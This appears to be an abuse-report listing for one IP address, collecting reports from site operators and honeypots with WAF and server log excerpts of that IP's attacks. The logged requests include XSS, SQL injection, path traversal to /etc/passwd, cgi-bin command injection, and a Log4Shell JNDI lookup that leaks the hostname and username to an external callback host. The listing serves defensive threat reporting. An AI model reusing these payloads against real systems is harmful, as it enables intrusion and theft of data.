2026-10-18 07:14:13
(9 hours ago)
Firewall trigger on MikroTik RB4011
Port Scan
2026-10-18 00:00:24
(17 hours ago)
PAD: ModSec_Critical detected
Hacking
🇺🇸
solantex
2026-10-17 07:32:57
(1 day ago)
Unauthorized automated scanning and reconnaissance against Solantex resources. No crawl, scan or tes ...
show more
Unauthorized automated scanning and reconnaissance against Solantex resources. No crawl, scan or test permission has been granted to this source.
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-10-17 05:02:57
(1 day ago)
(mod_security) mod_security (id:212620) triggered by 85.215.61.232 (applink.de): 1 in the last 300 s ...
show more
(mod_security) mod_security (id:212620) triggered by 85.215.61.232 (applink.de): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Sat Oct 17 01:02:49.178492 2026] [security2:error] [pid 2291:tid 2291] [client 85.215.61.232:37556] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<script\\\\b" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||mail.portraitsinblues.com|F|2"] [data "Matched Data: <script found within REQUEST_URI: /webshell4/login.php?err=\\x22><script>alert(document.domain)</script>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "mail.portraitsinblues.com"] [uri "/webshell4/login.php"] [unique_id "atMBeXyvKaGgnjgM0-XW1wAAABo"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇬🇧
thetomtaylor.co.uk
2026-10-17 03:30:07
(1 day ago)
Fail2Ban - [WAF]ModSecurity rule violation on modsecurity ... [wa01]
Hacking
SQL Injection
Web App Attack
🇫🇷
Sorgin Informatique
2026-10-17 03:25:39
(1 day ago)
soe-7 : Trying access unauthorized files/dir=>/index.php?option=com_departments&id=-1%20UNION%20 ...
show more
soe-7 : Trying access unauthorized files/dir=>/index.php?option=com_departments&id=-1%20UNION%20SELECT%201,md5(999999999),3,4,5,6,7,8--
show less
Hacking
2026-10-17 03:11:37
(1 day ago)
85.215.61.232 - - [17/Oct/2026:05:11:31 +0200] "GET /http-bind?room=${jndi:ldap://${:-501}${:-718}.$ ...
show more
85.215.61.232 - - [17/Oct/2026:05:11:31 +0200] "GET /http-bind?room=${jndi:ldap://${:-501}${:-718}.${hostName}.username.db9eeo0d681b04m23nt01kgmxi4y3ity1.oast.me/8THLx} HTTP/1.1" 200 419 "https://videoconference.gl-amf.org" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0"
...
show less
Web App Attack
🇪🇸
raiolanetworks.com
2026-10-16 16:47:45
(2 days ago)
Honeypot detection: web application attack. 2 events observed. Reported automatically from a honeypo ...
show more
Honeypot detection: web application attack. 2 events observed. Reported automatically from a honeypot sensor.
show less
Web App Attack
🇺🇸
TPI-Abuse
2026-10-16 14:47:31
(2 days ago)
(mod_security) mod_security (id:211190) triggered by 85.215.61.232 (applink.de): 1 in the last 300 s ...
show more
(mod_security) mod_security (id:211190) triggered by 85.215.61.232 (applink.de): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 16 10:47:23.584955 2026] [security2:error] [pid 20981:tid 20981] [client 85.215.61.232:56304] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||acmax.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "acmax.com"] [uri "/index.php"] [unique_id "atI4-zkX8bHX26e5ZKMgDQAAACA"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇫🇷
conseilgouz
2026-10-16 14:20:38
(2 days ago)
upe-16 : Block Shell attacks=>/index.php?option=com_omphotogallery&controller=../../../../../../ ...
show more
upe-16 : Block Shell attacks=>/index.php?option=com_omphotogallery&controller=../../../../../../../../../etc/passwd
show less
Hacking
🇫🇷
COMAITE
2026-10-16 14:04:37
(2 days ago)
Common web attack from 85.215.61.232.
Web App Attack
🇫🇷
security.rdmc.fr
2026-10-16 13:58:17
(2 days ago)
Web App Attack
Web App Attack
🇺🇸
TPI-Abuse
2026-10-16 13:57:13
(2 days ago)
(mod_security) mod_security (id:211190) triggered by 85.215.61.232 (applink.de): 1 in the last 300 s ...
show more
(mod_security) mod_security (id:211190) triggered by 85.215.61.232 (applink.de): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Fri Oct 16 09:57:05.471309 2026] [security2:error] [pid 368:tid 368] [client 85.215.61.232:56752] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||www.hanabritgermanshepherds.puregoldmorgans.com|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /index.php?option=com_biblestudy&id=1&view=studieslist&controller=../../../../../../../../etc/passwd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.hanabritgermanshepherds.puregoldmorgans.com"] [uri "/index.php"] [unique_id "atItMQjDEw6zXhJ_8qmSfQAAACg"]
show less
Brute-Force
Bad Web Bot
Web App Attack
🇲🇾
Rizzy
2026-10-16 11:16:23
(2 days ago)
Multiple WAF Violations
Brute-Force
Web App Attack
🇦🇺
aranguren.org
2026-10-16 07:39:27
(2 days ago)
85.215.61.232 - - [16/Oct/2026:18:39:07 +1100] "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 404 997 " ...
show more
85.215.61.232 - - [16/Oct/2026:18:39:07 +1100] "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 404 997 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15"
85.215.61.232 - - [16/Oct/2026:18:39:09 +1100] "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 404 993 "-" "Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
85.215.61.232 - - [16/Oct/2026:18:39:27 +1100] "GET /cgi-bin/;cat$IFS/etc/passwd HTTP/1.1" 404 998 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1 Safari/605.1.15"
...
show less
Bad Web Bot
